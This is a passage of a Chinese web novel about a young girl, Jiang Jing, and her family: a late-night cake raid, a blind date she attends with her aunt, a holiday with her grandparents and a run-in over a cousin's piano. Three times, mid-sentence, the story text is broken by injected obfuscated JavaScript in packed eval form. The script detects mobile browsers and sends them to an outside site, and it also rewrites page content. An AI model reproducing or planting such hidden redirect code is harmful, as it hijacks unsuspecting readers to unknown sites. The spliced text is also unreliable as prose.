“婧儿?”蒋怀谦唤了一声,趿着鞋快速起身去洗手间和衣帽间看了眼,都没找到人。循着门缝,他出了房,第一反应是她去找了爸爸妈妈。 走了几步,他在二楼的露厅隐约听到了微小的包装袋被捏响的窸窣声,立马急切转头,轻步下楼。 一楼夜里不开空调,刚从房间里出来的蒋怀谦微微一个寒颤。 静夜里,窗外撩过簌簌的风声,偌大的空间里,只有开放式厨房的冰箱下层,渗出淡淡的白光,在黑暗中劈开一小圈领地。 走近了些,蒋婧敞着腿摊坐在冰箱门口,面前摆了三个大白盘子,围拢着一个草莓蛋糕。 她嘴里还哼着歌,过家家似的,把撕开包装的薯片、糖果、雪糕,一个一个拿出来,讲究地摆盘成爱心、星星、花朵的形状。 结束准备活动,她先用勺子舀了一大口奶油蛋糕放进嘴里,冰丝丝、甜绵绵的味道,好吃得小小的身体快乐地扭动了一下,连圆圆的脚指头都满足地蜷了起来。 在她身边,昨儿从游乐园买回来的雪宝手提灯,散发着明亮的暖光。 “婧儿!” 蒋怀谦压低了音量的、试图维持威严的呵斥在安静的厨房里响起。 光影里的小身影猛地一颤,像受了惊的小兔子。 蒋婧倏地回过头,嘴巴周围糊着一大圈白色的奶油,手里还捏着半颗草莓,大眼睛里盛满了作案被抓包的惊恐和茫然。 转头见是哥哥,她又放松下来,嬉皮笑脸地端起盘子,献宝一样,试图贿赂:“哥哥,你吃蛋糕不吃?” 蒋怀谦板着脸,蹲下来,把她从地上提溜起来抱住,克制着语气问道:“为什么半夜不睡觉,偷偷跑下来?” “因为我肚几太饿了,醒了,咕咕咕叫。” “那为什么不叫醒哥哥?” “你在睡觉,我从不吵人睡觉的。” 说着,她灵俏地一连打了三个喷嚏,眼睛都漫出了水雾,混着脸上醒目的奶油和蛋糕屑,像只偷腥的小花猫。 蒋怀谦的嘴角不受控制地抽动了一下,又一下。他握拳抵在嘴边,假装咳嗽了一声,试图掩盖那即将破功的笑意。 担心她着凉感冒,蒋怀谦赶紧去客厅扯了毯子把她裹好,稳妥地把人放在高脚凳上。 他看了看地上的东西,只有那8寸的冰淇淋蛋糕缺了一颗奶油托底的草莓,其他的东西都是完整的摆盘形状。 “就吃了一颗草莓?” 蒋婧以为哥哥要生气了,连忙狂点头。 但他只是动作柔和、仔细地给她擦了擦脸,说道:“太晚了,吃这些冰东西会吃坏肚子的。哥哥给你泡碗热乎的燕麦粥吃,行不行?” 被抓到偷吃的人哪还敢再造次,乖乖地点头。 蒋怀谦关上了嗡嗡作响的冰箱门,端起盘子,陷入思索。 倒掉的话,肯定是最保险的,这样就能保证不被大人发现。但是他又舍不得妹妹摆好的图案。 把那盘冰棒小心地搁进冰箱里放好,剩下的薯片和糖果,蒋怀谦决定带回房间里藏好。 雪宝手提灯被放在了大吧台上,蒋怀谦就着灯光快速地烧水弄了一碗牛奶燕麦。 蒋婧裹着毯子,摇头晃脑地喝了三分之一就喊饱了。 他把剩下的喝了,又把碗洗好放回去,抱着妹妹上楼:“走吧,回去刷牙,继续睡觉。” “你会讲一个故事哄我睡觉吗?不然我会有点睡不着。” “嗯,讲。” 蒋婧小手搂着他的脖子,另一只手拎着那个雪宝手提灯,给他照路。 “你就是靠着这个灯偷溜出来的吗?” “对啊,这是探险用的灯。” “你管偷吃叫探险?” 蒋婧立即扒拉住他蹭蹭,撒娇:“哥哥,你可以不告诉妈妈吗?求求你了~” 一步步走上楼梯,蒋怀谦脸上的笑容越来越大。他轻拍了拍妹妹的背,答应下来:“我不告诉妈妈,但你下次探险要叫上我。” “以后都要叫上我,知道吗?”他又补充道。 * 清晨,一家人围坐在胡桃木餐桌前用早餐,餐桌上摆放的玫瑰和嘉兰百合的香气混进冷冽的空气,让人心情愉悦。 然而饭桌上的谈话并不算太愉悦,至少对程若华来说如此。 程宣年又给大女儿安排了相亲,正在苦心孤诣地劝说着人去见见面。 “你说你,三十了,是不是得好好相看相看,找个可以成家的人了?” “对方是港城那边的人,这几年往沪上扩张,和你一样,家族接班人,你两个绝对能有话聊!” “不要跟我说你那一套不结婚也过的好的说辞。是,你是新时代独立女性,不需要靠男人,但是你总得有一个家吧,不靠男人,你也找个男人伺候你嘛!” “一年到头你像条泥鳅,抓斗抓不住,一问就是事情多,忙!你那个位置我也坐过的,哪有忙到连顿饭的时间都没有!” “这次说什么,都不能给我推脱了,我都和人说好了,你必须去!” 程与英夹了一个蟹粉小笼包,低头的瞬间努力掩饰自己幸灾乐祸的表情。 长姐在桌子下轻踢了她一脚,程与英笑笑,用餐巾擦擦嘴,出头帮姐姐解围:“老爸啊,你都说了,像我姐这样飒气十足的女人,只能是找个男人来伺候他,那你说那个什么什么港城的继承人,能做到这样嘛?人肯定也是天之骄子!这样两头都竹篮打水,何必还搞一躺相亲会,多麻烦。” 小女儿最会倒打一耙,争论起来也是难缠的紧,程宣年直接说道:“你安静吃你的饭,我和你姐说话的时候,别掺和!” 程与英耸了耸肩,给了姐姐一个“爱莫能助”的眼神。 蒋婧本来用两只小手搓转银质调羹,让它折射出水晶吊灯的光斑,玩的正起劲,这会回神听到大人们的聊天,一脸好奇地竖起耳朵听。 “哥哥,他们在说什么?” “在说让若华姨母去相亲的事。” “什么是相亲?” “嗯...就是男人和女人见面,如果互相喜欢,就结婚。” “什么是结婚?” “结婚就是男人和女人互相喜欢,成为一家人。就像爸爸和妈妈那样。” 蒋婧恍然大悟地点点头,小嘴微张,敲敲自己的碗,发表言论:“我说一下!让我说一下!我觉得姨母应该要去相亲!” 程宣年喜的嘞:“哎哟,你看看,还是我们小囡懂事,明事理!” 外婆问她:“那囡囡说说,你为什么认为姨母应该去相亲嘞?” “因为,”蒋婧稍稍用手背撑起下巴,一双澄澈明亮的眼睛看着上方做出思考状,“因为这样就会多一个人爱若华姨母。” 程若华在面包上抹花生酱的动作微微一顿。 程宣年满脸是“外孙女站在自己阵营”的喜悦,脑中灵光一现,说到:“囡囡,外公请求你帮一个忙,去监督若华姨母按时相亲,你愿意不愿意接这个任务?” 大人表现出郑重的帮忙请求时,小孩子总是感觉到受重视,恨不得立马行动证明自己可以。 蒋婧露出两颗小兔门牙,笑的兴奋,举着手说道:“我愿意!我来监督!” 蒋源和程与英相视一笑,各自摇头,叹服程宣年的精力。 “外甥呢,要不要一起去?”程若华问道。 “不了,若华姨母,我早上有一个网课要上。” “ok,那你好好学习,天天向上。” 程若华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189337|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饮完自己的现磨瑰夏咖啡,像是丝毫不介意,如同批阅了下属的一个文件那样,淡淡地点点头:“行,那外甥女,赶快把你一口没动的小馄饨吃了,20分钟后,我们出门。” 蒋婧懵懵地视线跟随姨母起身、离开,下一秒收回视线,对上妈妈抓狂的表情。 她心虚地眨眨眼,朝妈妈咧嘴一笑。 “蒋小婧,在这坐了半小时,你在干嘛?吃个饭怎么那么磨叽呢?快点,我盯着你吃!” 说着,程与英拿出手机,点开了倒计时,摆在餐桌中央,不给斡旋余地地命令:“我计时了,快点动嘴,我在这盯着你吃!大口大口地吃饭!” 蒋婧皱巴了一张脸,委委屈屈地握住勺子,舀了半天,舀出一勺馄饨汤,抿了一口,奶凶奶凶地回嘴:“我嘴巴小小的,怎么大口大口地吃饭嘛!” * 程若华带着蒋婧先到了自己在市中心的江景大平层,相亲饭局约的是中午,但她早上有个视频会议。既然小家伙要跟着来,只能先把人捞过来带着,否则来回跑实在耗时。 电梯门无声滑开,城市的天空线在落地窗外铺展,入户即是一个极宽敞的全灰黑色调的客厅。 现代极简的装修风格,干干净净的家具上没有任何其他东西,像是一个精致、冰冷、一丝不苟的陈列馆。 “若华姨母,你的家好黑。” 程若华脱下外套,换上鞋,又从门口拿过刚让人送的儿童棉拖鞋,放到蒋婧面前。 “不黑啊,这不天光正亮吗?” 蒋婧换好鞋子,抱着自己带来的小狐狸玩偶,仰头看着她说道:“不系,你家除了黑色,就没有其他颜色了。” “这叫色调统一的审美。” “若华姨母,你最喜欢的颜色是黑色吗?”蒋婧歪着头很疑惑地问。 “我没有最喜欢的颜色。” “为啥?那你要不要喜欢我喜欢的颜色?” “你喜欢什么颜色?” “我第一喜欢粉色、蓝色、紫色、橙色,第二喜欢绿色、黄色、红色。若华姨母,你要喜欢哪一个?” 程若华把往常设置的空调温度调高了两度,给她倒了杯水,放好鲜切水果,在液晶大屏电视上调出她喜欢的电影,一边抽空回道:“那就你最喜欢的颜色吧。” “好,我记住了,若华姨母,你喜欢粉色!” 程若华整体看了看,她又从房间里给蒋婧拿了条毛毯出来盖上,觉得没有什么需要再提供的了,才对她说道:“我就在那件房间里开会,你在这里看电视,如果有事就过来找我。” 蒋婧抱着果盘点点头:“若华姨母,你去吧,好好工作,天天向上!” 程若华很浅地笑了下,用毛毯把她的小脚丫盖好,才进了书房开会。 * 休息了几天,两个小时高效率的会议结束后,程若华有种节假日后遗症的疲惫不适。 她拿着空了的马克杯走出书房,耳边还响着电视的声音,一眼看过去,沙发上的小人搂着她的粉红色小狐狸玩偶,七仰八叉地睡着了。 小家伙今天非要穿一身橙黄色的、毛茸茸的小鸭子连体衣,在全黑的家具的对比下,色彩明亮得甚至有些突兀。 她睡得小脸红扑扑的,侧着的肉嘟嘟的脸颊被挤出一个可爱的弧度,长睫毛像两把小扇子,在眼睑下投出乖巧的阴影。 程若华放轻了脚步走过来给她盖上毛毯,看到她讨喜的睡相,心里蓦地一软,嘴角向上弯起一个小小的弧度。 很久没有过这样被触动的时刻了。 怪不得她妹总说有孩子陪伴是反向治愈大人的过程,比起一个人工作结束后面对空荡的家,有一个小萌娃和自己呆着一起,竟会让人觉得,时间的流逝好像不是漫长的熬等,而是种一朵花的安宁与期待。 程若华含笑拿出手机,偷偷给睡着的外甥女拍了一张照片。 20.第20章 “下巴再抬高,嗯,对,眼神要有蔑视一切的霸气。” “姨母,什么是蔑视?”蒋婧下巴搁在程若华手心,听话地抬高下巴,眨着双圆润无辜的眼睛看她。 程若华眼里滑过笑意:“就是要表现的自己很厉害,让对面的人害怕。“ “别这么可爱,再凶一点。” “可是我还不够厉害吗?”蒋婧学着妈妈生气的表情,皱眉,抿嘴,鼓起脸颊。 程若华轻笑一声:“像个小河豚。” “是啦,你最厉害啦。刚刚我们排练好的词都记住了吗?”她又最后确认了一遍。 蒋婧比了个ok的动作,双手环胸,再次做出凶凶的表情。 程若华目光无法从她那张看起来和雪团子一样Q弹软萌的脸颊上挪开,低低地笑出了声。 “走吧,下车。” * 蒋婧牵着姨母的手,跟着走进前滩荣庭,身上的小鸭子连体服让她看起来像只毛茸茸的小动物,加上摇摇晃晃走路甩起尾巴的萌感,吸引了不少注目礼。 她对这些目光感到不舒适,挨近程若华,扯了扯她的手,眉头撇成八字仰头软声说道:“姨母,我想被抱一下可以吗?” 程若华晃晃她的手:“马上走两步路就到了。” 蒋婧鼓了腮帮子,噘起嘴,闷闷地吐了口气:“好吧。” 包厢门口一条仿民国风的过道,左侧留出了海鲜鱼类的展示缸,蒋婧走过,刚“哇”了一声,忽然毫无预兆地看到一条深褐色的、长长的鳗鱼,像一条过分粗壮的、浸了水的绳子,扭动的姿态缓慢而诡异。 “唔!”蒋婧发出一声短促的惊叫,吓得一下子后退抱住了程若华的大腿,把头埋进她的风衣里,带着哭腔哼唧道:“呜呜呜姨母,有怪物!我走不动了!你快把我抱走,快点快点!求求你了呜呜呜!” 程若华把她抱起来,捂住她的眼睛走过水箱,抚了几下她的背,放柔了声音说道:“没事,那是鳗鱼,不是怪物。” 蒋婧像个受惊的树袋熊攀在她身上,心有余悸地哭着:“姨母,我们换一个地方吃饭吧。” “不是要监督姨母相亲吗,怎么还没开始就哭成这样?” “呜呜呜人也不是非要去相亲,我也不是非要去相亲……” 她被打败似的笑出了声,声音温柔极了:“人都在里面了,这会可不好换。姨母在这呢,不用害怕。” 程若华在公共场合遇到太多哭闹得让人心烦又不得不和颜相待的小孩,对小孩子算不上很喜欢,加之没有过照顾小孩子的经验,因此,程若华只抱过蒋婧两次,第一次是她刚出生、还是个小婴儿时,第二次,便是现在。 怀里的人整个小身体像寻求庇护的雏鸟,毫无缝隙地、依赖地贴着她。 程若华软了心肠,抱着她到餐厅的后院,慢慢地拍着她的背,等她小小的哭声消歇。 抽出纸巾给蒋婧把脸擦干净,她问:“好一点了吗?还害怕吗?” 今日难得的是个晴天,院子里风清树绿,呆了一会后,蒋婧情绪就好了些。她摇摇头:“不害怕了姨母,我可以去相亲了。” * 服务员打开包厢门,程若华抱着蒋婧进去,先已落座的人便起身打招呼,准备握手的手臂在看到来人还抱了一个孩子时,丝滑地收回。 “程总,久闻大名。” “您好,明总,让您久等了。您快请坐。” 程若华把蒋婧塞进儿童座椅,趁着服务员上前菜的时间,用温热的毛巾细致地给她把手擦干净。 蒋婧呆呆的,眼睛好奇盯着对方,十几秒内没有移开,直把对面身着西装的男人看笑了。 “这一定就是程总的外甥女了吧,长得真可爱。” 两家在程宣年那代偶有生意往来,能把他们家关系都捻得门清,也不惊讶。程若华面色如古井般平静,淡淡地说道:“不是我外甥女,这是我女儿。” 来人脸上浮现出吃惊的表情道:“没听说程总....” “私生的,家里不同意嘛。”程若华打断他,好像已经把他当成推心置腹的好友,娓娓道来:“我完全接了家里的事是去年开始的,前两年我在美国管着海外业务,偶然得的孩子,就留下来了。这事还没告诉家里呢,还要拜托明总帮我保密。” “自然自然。那今天...” “闹腾。非要跟着来,看看未来的新爸爸,实在拗不过,就带来了。” 对面一身正装的男人顿时有些哑口无言,嘴角衔了抹似有若无的笑:“哦,原来是这样。” 蒋婧将两只手肘关节都撑在桌子上,一手拿一块杏仁饼干,一手拿一块焦糖小麻花,左一口右一口地吃着,但眼神始终没有从程若华脸上移开,听得津津有味。 程若华对上她的视线,挑眉,暗示该她发挥了。 蒋婧收到信号,连忙把手里的餐前甜点放到自己的盘子里,侧身拍掉手上的饼干屑,语气未战先弱地自个嘟囔了一句:“我有一点紧张了....” 程若华端起茶杯送到嘴边,掩住自己快要压不住的嘴角,仍然保持着高冷凌厉的神情。 “嗨~”蒋婧朝对面挥了挥手,莫名有些扭扭捏捏的。 对方立马大大方方地回应:“你好呀,小朋友,你看起来是一个特别可爱的小鸭子。” “我不是小鸭子....”蒋婧友善的表情一下变得哀怨起来,不自觉地瞅了眼慢慢摇着茶杯品鉴的姨母。 程若华顺势做了个扬起下巴的动作。 蒋婧福至心灵,也扬起下巴,撅起嘴,学着往日妈妈趾高气昂的样子,奶里奶气地说道:“叔叔,我们家挑选入赘的人都是很严格的。你已经是第16位相亲的人了,节约效率,我来告诉你我姨…我妈妈的挑选标准!” 男人一愣,继而一笑,一副洗耳恭听的样子道:“你说。” “第一,你的钱就是妈妈的钱,妈妈的钱还是妈妈的钱。所以,要把你们的股份给我们这么多。注意,是百分数!” 蒋婧比出4根手指头,接着又比了个耶说道:“第二,如果你犯错了,妈妈要和你离婚,你要给很多很多的赔偿的钱,是很多很多,多到你可能会去要饭的程度!所以你不能犯错!” “第三,你们生的小孩子要跟着妈妈姓,还要给我很多钱!对我和妈妈特别好,如果你表现不好,我们会把你送到西伯利亚去挖土豆!” 服务员进入包厢内,微躬而立,将做好的菜品端上,纳闷有小孩在的用餐氛围怎么如此安静。 直到服务员摆放好菜肴退出包厢,明先生才低头轻笑出声,打破沉默:“程总的女儿,很是伶俐聪慧,这么小就这么能说会道。不知小朋友说的这些话,是否也是程总个人的意思?” “童言无忌,明先生别介意。不过婧婧记性真好,把我平时念叨的都记下了。所以明先生,这确实也是我的意思。” 她轻轻搅动着碗里的花胶黄鱼羹,轻描淡写地补充:“若是真的要谈婚论嫁,一定是以家族利益联结为先。如果明先生觉得这些要求过分,您和我就各自回家禀明长辈们,这相亲也就到此结束。” “我能接受。如果和程总联姻就能得到这样一个可爱的女儿,何乐而不为?” 程若华投来疑惑的一瞥。 这人怎么不按常理出牌。 “开个玩笑,程总。”明先生定定地看着程若华,和颜悦色地摊牌:“我知晓程小姐同我一样都是家里催促来的。我其实也不是明家的接班人,只是一个闲游的浪荡子,家里看不惯,想通过成家让我安稳下来,才有了这一来。” “不过我确实对程总颇有耳闻,在商场上雷霆手段,令人钦佩。这次来,也是诚心诚意交个朋友,非仅仅为了相亲。” 程若华点点头,保持着必要的礼数。说开了,接下了的氛围自然了一些。程若华随意同他聊了聊商业管理的话题,即使觉得太浪费时间了,好在有外甥女陪着,也能忍受。 她心道,就当时带蒋婧出来吃饭了。 中途,程若华去了一趟卫生间。男人饶有兴趣地逗着蒋婧说话。 “小朋友,你真的叫程婧婧?” 蒋婧闭着嘴点点头,按照剧本表演结束后,她就没有再说话了。 “你不用怕我,叔叔又不是坏人。你要不要再吃一个舒芙蕾,我让人再给你上一个?” 蒋婧摇摇头。 “那你和我说说话,这吃饭没人说话,多无聊。”他友好地朝她笑一笑。 蒋婧于是好奇地问道:“叔叔,你爱我妈妈吗?就是,程若华妈妈。” 明先生:“我们这才第一次见面,只是朋友,没有到‘爱’的程度,小朋友。而且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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程若华脸上不见被打动的神情,她示意男人先走,说道:“不是还要赶回学校做实验吗,快走吧,钱不够用就给我发消息。” 那男人无奈地说道:“我现在升博士了,补助加上课题组工费,一个月也有小万,够我花了。” “我来找你,只是因为想你了,姐姐。” 蒋婧瞠目结舌,像是发现了什么惊天大秘密,眼里闪过兴奋的光芒。 “知道了,我之后再联系你。”程若华利落地结束对话,带着蒋婧上车,驱车离开。 蒋婧透过车窗看着身影越发小的那个男人,说道:“姨母,他看起来很舍不得你。” 程若华“嗯”了一声,思绪有些被打乱。 “若华姨母,你爱他吗?” “为什么这么问?” “你就说嘛,你爱不爱他?” “我不反感。” 蒋婧皱起了眉头,无法消化大人们的逻辑,说道:“他爱你,你爱他,那你们为什么不结婚?” 程若华好笑地伸手摸摸她,声音缓和地解释道:“两个人相爱也不一定能够在一起的。爱是一回事,婚姻是另一回事,有时候不受婚姻制度的规限,人反而能够更自由地享受情感。” 蒋婧CPU已经报废,不开心地说道:“你说的我都听不懂,若华姨母。” “你不用听懂,你就记着,若华姨母不需要相亲,要是以后你外公再找你当盟友,你要坚决地站在若华姨母这边,知道吗?” 蒋婧更苦恼了,不理解地问道:“可是如果你结婚,你就会像我妈妈一样,有我爸爸那样的人爱你。如果你不相亲,你就结不了婚,没有人爱你。” 听到小孩子的这番心路,程若华心下一暖,说道:“结了婚不代表对方一定爱你,不结婚也不代表对方不爱你。况且,姨母不缺人爱啊,有外公外婆,有你的妈妈,还有你呀!你不爱若华姨母吗?” “爱!我特别特别爱你,若华姨母!” 程若华心都要化了,她把车停在了商区停车位,捏捏她肉嘟嘟的脸颊肉,一改不苟言笑的神情说道:“这些爱对我来说,就够了,小宝贝。” 从那以后,蒋婧没有再积极地支持若华姨母去相亲。 21.第21章 春节假期已经结束,蒋源和程与英先回了北城工作,留下两个孩子在沪上跟着外公外婆。 蒋怀谦是个很省心的孩子,对自己的学习有着针对性的计划和高度的自律性,按时完成寒假作业后,还抱有很大的热情去学习奥数、编程、物理等等其他的知识。 对于他来说,真正的娱乐时间,基本上都是陪着妹妹玩。 蒋怀谦很喜欢和妹妹呆在外公外婆家,没有蒋向恒霸占他与妹妹的独处时间,也没有蒋熠蒋澈两个双胞胎吵嚷着夺走妹妹的注意力,每一天,就只有他们两个相互陪伴着。 他会陪着妹妹一起窝在沙发上看动画片、玩具房搭积木、玩过家家、草坪上踢足球、放风筝…只要他们在一起,无论做什么,蒋怀谦都觉得很高兴。 兴之所至时,他会抱着她的咯吱窝转圈圈,问她:“婧儿,你最喜欢的哥哥是谁?” “你!” “我是谁?” “你是哥哥!” “哥哥的名字是什么?” “蒋!怀!谦!” “那你最喜欢的哥哥是?连起来说一遍。” “我最喜欢的哥哥是蒋怀谦!” 他这才会心满意足地把人抱进怀里挠她痒痒肉,听她发出银铃一样清脆的笑声。 * 早上,他们会和外婆一起到书房学习。 外婆的书房也是她的工作地点,占据着别墅西翼整整半层的空间。书房里,一面是泄露出日光使室内光亮充足的大落地窗,其余三面全是深色沉香木的书柜,连双开房门的上方也排满了成套的文学全集。 书房中央,是一片开阔的区域。梁韵生在她的书桌旁,又给外孙和外孙女各自安置了两个桃花心木书桌,每天早上吃过早饭,就带着两个孩子到书房里来。 蒋怀谦不用操心,有自己的学习节奏。 蒋婧年纪小,不如哥哥那么坐得住,但是年纪小,倒也容易受人影响,只要哥哥和外婆都在认真读书,她也会跟着翻开外婆为她精心挑选的儿童绘本,不知不觉地就培养出了专注力。 她认得的字不多,梁韵生每日里系统地教她拼音和汉字书写。 蒋婧最喜欢被外婆抱着坐在书桌前,她们一起读那些有趣的童话故事和朗朗上口的古诗词。外婆念一句,她用食指比着字跌跌拌拌地跟着朗读。 偶尔,她会调皮地挨近外婆,像小猫似的蹭一蹭,在她怀里说道:“外婆,您的身上香香的~像牛奶和阳光混合的味道。” 有时候读到一些动人的故事,小家伙还会很受感动般的,莫名有些惆怅地和她交流。 “外婆,这个小女孩一直跳舞,跳到停不下,只能被砍断双腿,好可怜。” “对呀。” “可是跳舞本来是一件很开心的事情,不是吗?最后她却因为喜欢跳舞变得不开心了。我觉得好难过。” 梁韵生惊讶于她的生活感知力和语言表达能力,心里想要亲自带教孩子的欲望愈来愈强烈。 “囡囡是个特别聪明的孩子,要加油,把中文学好,你就会发现在文字里头,有许许多多能触动你灵魂的东西。能感知文学的灵魂,是有灵性的,我相信我们婧婧,就有这样的灵性。” 蒋婧听不太懂,自己总结道:“你是要我把你一个房间的书都读完吗外婆?都读完就可以像外婆这样厉害,什么都懂了是不是?” 梁韵生失笑,摸摸她的脑袋:“书中自有黄金屋,不是要你读完这屋子的书,是要你养成喜欢阅读的好习惯。读书塑心,外婆希望你成长成一个内里有韧性的孩子。你和哥哥都要这样,知道吗?” * 就着这样过完了寒假,很快迎来了要分别的时候。 蒋源来接两个孩子的那天,是阴沉沉的小雨天气。 梁韵生往车厢里放了两箱子书,一箱是给蒋怀谦挑的,一箱是给蒋婧挑的。 她半屈膝,朝外孙、外孙女一人递出一个模样精巧的绸缎礼盒,说道:“这是外公和外婆给你们俩亲自刻的分别礼物,看看喜不喜欢。” 蒋怀谦打开,是独属的印章,一方上好的青田石,刻上他们的名字,配上一盒特制的朱砂印泥。 “外婆,我很喜欢,妹妹一定也很喜欢,是不是?婧儿?” 蒋婧好奇地拿出来看了看,跟着哥哥的话头应道:“喜欢!但是这个是干什么的,外婆?” 梁韵生从那箱子书中抽出一本绘本,翻开第一页,然后握着蒋婧的小手,捏着印章蘸了下印泥,在扉页上盖出她的名字。 “囡囡上次说写自己的名字不好看,外婆就想送你一个小印章。这样一摁,就把你的名字摁出来了。以后你读了新书,就像这样在上面盖个章, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206050|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它就是你的了。” 蒋婧新奇地又盖了几个印章,言笑晏晏地仰头看外婆:“外婆,我盖很多很多印章,这样你就知道我读了很多很多书了,是不是?” 梁韵生目光恋恋不舍,尤为温和地摸摸她的下巴:“是呀,外婆期待下次见到婧婧,婧婧能认识更多的字。” 蒋婧抱住外婆的脖颈,用脸颊蹭了蹭她。 “外婆,我舍不得你。” “外婆也舍不得你。”梁韵生眼里微闪泪光,很快又露出笑颜:“不过相信我们很快就会再见面的,囡囡要听爸爸妈妈,还有哥哥的话,乖乖的,每天都要开开心心的。” “外婆也要开开心心的!” 保姆车的后备箱前,蒋源看着塞满了一整个车厢的东西,汗颜地对程宣年说道:“爸,可以了,装不下了,剩下的东西就放在这,下次两个孩子来,也还是可以用、可以玩。” “哎哎哎,不怕,装不下了,这些我托人给寄过去。” 程宣年把东西都指挥着放好,过去亲了口外孙,又亲了口外孙女,抹着眼泪说道:“这一个月,转眼就没了。我的两个小心肝,你们回去了,可千万要多想外公,外公可是把你们放在心上疼的。” “外公,你别哭,我会想你的。”蒋婧用手掌抹抹他的眼泪,劝到。 程宣年像是终于承受不住似的,放声痛哭起来,嘴里说着相见多么多么不容易,多么多么舍不得。 程若华挑眉一笑,无奈地扶额,及时制止:“得了得了,爸,别给自己加戏了啊。就你这德性,说不定过几天就飞北城去了,没必要啊。” 蒋源和儿子相视一笑,都摇摇头。 上了车,雨渐渐小了,细如牛毛,丝丝缕缕地飘着。 蒋婧抹开车窗上的雾气,趴在上面,看着一直站在原地的外公外婆,他们的身影一点点变小,雨雾让她有些看不清了,但她就是莫名地感受到了站在原地的外公外婆,身上那样很重的眷恋和不舍。 蒋怀谦望着面上表现出多愁善感之色的妹妹,安慰地摸摸她的后脑勺:“还会再来的嘛。” 直到再也看不见了,蒋婧才收回视线,略有惆怅地抱着自己的小兔玩偶看着车窗外的雨。 她觉得,分开的时候,外公外婆好像比他们更伤心。因为他们要赶路,但是外公外婆们还留在原来的地方。 22.第22章 蒋家的三位妯娌关系要好,时常会约着出去一起逛街、喝下午茶。 这天,三个人血拼一早上后,一起顺道去接了下芭蕾课的蒋婧。 从蓉和常蕙还是第一次见她穿体服跳舞,被迷得一个劲儿地拍照、夸奖。蒋婧虽然年龄小,但从小看得出身材比例好,小小一只认真跳舞的时候,在具备了芭蕾优雅舞感的同时,还有着额外的属于幼崽的可爱。 下课后蒋婧抱着外套和水壶蹦蹦跳跳地出来,阳光灿烂地说道:“怎么有三个人来接我?” 从蓉从她怀里拿起外套,自然地撑开给她穿上。常蕙牵了她的手,笑呵呵说道:“三个大美女来接一个小美女,小美女开不开心?” 蒋婧点点头:“小美女开心!” 三个人聊的热火朝天不愿散,此处商圈又离家近,从蓉干脆邀请她们去家中共用午餐,约好下午再接着出去逛。 蒋婧坐在自己的儿童座椅上,不动声色地吐槽:“你们是好爱逛街的美女哦。” 常蕙听了合不拢嘴:“阿婧也是小美女,下午一起来逛街好不好?三伯母给你买很多漂亮衣服!” 蒋婧此前应该也来过大伯家,但印象并不深刻。蒋铮家是很有复古公馆风的别墅,双开雕花铜门背后是构造对称严谨的砖砌建筑,远远望去,散发着沉稳而内敛的贵气。 进了大门,蒋婧跟在大伯母后面来到宽敞通透的客厅,在宽大的扶手椅上坐下。 刚坐下,三个女人又聊的起劲地移步到了庭院里的茶座去,从蓉朝她招招手,蒋婧又百无聊赖地从好不容易爬上来的大扶手椅上滑下来,小跑着跟过去。 她们在一起聊天时,话语很密,笑声频繁,蒋婧听不太明白,乖巧地呆了一会儿,就忍不住自己去玩了。 她把墙角的蒲公英全部拔光,对着天空吹飞种子,攥着空秃的茎秆,哼着歌,脚步欢快地绕着院子跑跑跳跳,倏而透过落地窗户看到了一个小展厅。 这个房间很大,四周是深色木质护墙板,角落里放了几个设计独特的典雅沙发,中间的圆台上,摆放了一架很大的、通体锃亮的三角钢琴。 蒋婧第一次见这样的大物件,好奇心作祟,又跑进客厅,顺着走道找到那间屋子,小心翼翼地扭开门把手,悄悄迈步进去。 那架钢琴的琴盖呈打开的状态,谱架上还放着凌乱的画满密密麻麻小蝌蚪的纸张,蒋婧嗅到了空气中弥漫着的某种木质沉香的味道。 她眼睛亮亮地走过去,倚在了钢琴前,忍不住伸出手指,试探地摁下了一个键,耳畔立马回响出清脆的琴音。 好神奇的感觉! 一发不可收拾的,蒋婧接连按了好几个琴键,自顾自地玩了起来。 上完钢琴课回来的蒋斐轩下车进门后,先是听到了院子里的谈笑声,正要走过去一探究竟,他又敏锐听到琴房里传来的琴音,脸色一变,急匆匆地过去。 蒋斐轩站在房门口,一言不发地盯着玩着琴键的小人儿,周身气压很低。 蒋婧察觉到有人来,抬起头。 两个人大眼瞪小眼看了几秒钟。 在蒋斐轩淡而冷的目光中,蒋婧身子缓慢地离开倚着的钢琴,双手交叉放在身前,向后退了两步笔直地站好,湿漉漉的眼睛里有着些许慌乱。 他还是没有说话,径直走到钢琴前,把谱架上的谱子唰——一下叠好,咔哒咔哒地收好谱架,哐的一声把琴盖合上。 蒋婧仰着头,屏着呼吸看他,很小声地叫了一句“斐轩哥哥”。 然而他连看都没有看她一眼,仿佛房间里并没有人似的,目视前方,声音里明显藏了不悦地说道:“我最讨厌别人未经允许碰我的琴。” 蒋婧脑海里敲响警钟,下意识想要道歉,话还没说出口,蒋斐轩就头也不回地走出了房间,从头到尾都没给她一个眼神。 她后知后觉地感到了一种做错事的恐慌和无措。 